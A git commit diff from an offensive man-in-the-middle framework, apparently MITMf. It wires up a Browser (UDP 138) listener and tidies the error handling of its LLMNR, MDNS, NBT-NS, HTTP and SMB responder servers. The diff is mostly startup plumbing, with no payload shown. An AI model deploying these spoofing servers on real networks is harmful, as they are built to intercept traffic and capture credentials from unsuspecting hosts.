Forgot to start up the Browser server.. oops!
This commit is contained in:
byt3bl33d3r 2015-08-05 14:26:44 +02:00
parent 772ef9ab39
commit e22276477b
8 changed files with 32 additions and 18 deletions

View file

@ -33,8 +33,7 @@ def start():
t.setDaemon(True)
t.start()
except Exception as e:
print "Error starting LLMNR server on port 5355"
print_exc()
print "Error starting LLMNR server on port 5355: {}".format(e)
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):

View file

@ -19,7 +19,6 @@ import core.responder.settings as settings
import socket
import threading
from traceback import print_exc
from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
from core.responder.packets import MDNS_Ans
from core.responder.utils import *
@ -31,8 +30,7 @@ def start():
t.setDaemon(True)
t.start()
except Exception as e:
print "Error starting MDNS server on port 5353"
print_exc()
print "Error starting MDNS server on port 5353: {}".format(e)
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):

View file

@ -19,7 +19,6 @@ import threading
import core.responder.settings as settings
import core.responder.fingerprint as fingerprint
from traceback import print_exc
from core.responder.packets import NBT_Ans
from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
from core.responder.utils import *
@ -31,8 +30,7 @@ def start():
t.setDaemon(True)
t.start()
except Exception as e:
print "Error starting NBTNS server on port 137"
print_exec()
print "Error starting NBTNS server on port 137: {}".format(e)
class ThreadingUDPServer(ThreadingMixIn, UDPServer):

View file

@ -16,11 +16,30 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import struct
import threading
import core.responder.settings as settings
from core.configwatcher import ConfigWatcher
from core.packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
from SocketServer import BaseRequestHandler
from core.utils import *
from core.responder.packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
from core.responder.utils import *
def start():
try:
server = ThreadingUDPServer(('', 138), Browser1)
t = threading.Thread(name='Browser', target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
print "Error starting Browser server on port 138: {}".format(e)
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
def server_bind(self):
if OsInterfaceIsSupported():
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
except:
pass
UDPServer.server_bind(self)
def WorkstationFingerPrint(data):
Role = {
@ -189,7 +208,7 @@ def ParseDatagramNBTNames(data,Client):
except:
pass
class Browser(BaseRequestHandler):
class Browser1(BaseRequestHandler):
def handle(self):
try:

View file

@ -18,7 +18,6 @@ import os
import struct
import core.responder.settings as settings
import threading
from traceback import print_exc
from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer
from base64 import b64decode, b64encode
@ -61,7 +60,6 @@ class HTTP:
except Exception as e:
print "Error starting HTTP server: {}".format(e)
print_exc()
class ThreadingTCPServer(ThreadingMixIn, TCPServer):

View file

@ -18,7 +18,6 @@ import struct
import core.responder.settings as settings
import threading
import socket
from traceback import print_exc
from random import randrange
from core.responder.packets import SMBHeader, SMBNegoAnsLM, SMBNegoAns, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
@ -42,7 +41,6 @@ class SMB:
t.start()
except Exception as e:
print "Error starting SMB server: {}".format(e)
print_exc()
class ThreadingTCPServer(ThreadingMixIn, TCPServer):

View file

@ -42,6 +42,10 @@ class Responder(Plugin):
MDNS.start()
NBTNS.start()
# Load Browser Listener
import core.servers.Browser as Browser
Browser.start()
if self.config["Responder"]["SQL"].lower() == "on":
from core.servers.MSSQL import MSSQL
self.tree_info.append("MSSQL server [ON]")

View file

@ -30,7 +30,7 @@ class SSLstripPlus(Plugin):
self.options = options
from core.sslstrip.URLMonitor import URLMonitor
from core.servers.dns.DNSchef import DNSChef
from core.servers.DNS import DNSChef
from core.utils import iptables
if iptables().dns is False: